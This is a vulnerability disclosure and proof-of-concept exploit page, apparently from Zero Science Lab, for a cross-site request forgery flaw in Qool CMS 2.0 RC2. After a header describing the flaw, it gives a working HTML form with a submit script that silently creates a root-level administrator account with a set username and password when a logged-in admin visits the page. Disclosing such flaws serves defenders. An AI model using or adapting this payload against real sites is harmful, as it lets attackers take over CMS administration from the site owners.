<!--

Qool CMS v2.0 RC2 XSRF Add Root Exploit


Vendor: Qool CMS
Product web page: http://www.qool.gr
Affected version: 2.0 RC2 (Codename: Sommige)

Summary: Qool CMS is a content management system that helps web
masters be more productive. Qool has been built with both worlds
(web master, web developer) in mind. It is easy to create addons
(extensions) for the system but you can really do without them too.

Desc: Qool CMS allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

 - Level 1    - Root
 - Level 2    - Admin
 - Level 500  - Editor
 - Level 6000 - Member
 - Level 8000 - Visitor

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2013-5134
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5134.php


05.03.2013

-->


<html>
<head>
<title>Qool CMS v2.0 RC2 XSRF Add Root Exploit</title>
</head>
<body><center><br />
<form method="post" action="http://localhost/Qoolrc2/admin/adduser" onsubmit="forge()">
<input type="hidden" name="email" value="lab@zeroscience.mk" />
<input type="hidden" name="level" value="1" />
<input type="hidden" name="password" value="pass251" />
<input type="hidden" name="save" value="Save" />
<input type="hidden" name="username" value="qoolio" />
<input type="submit" id="exploit" value="Forge!" />
</form></center>
<script type="text/javascript">
function forge(){document.getElementById("exploit").click();}
</script>
</body>
</html>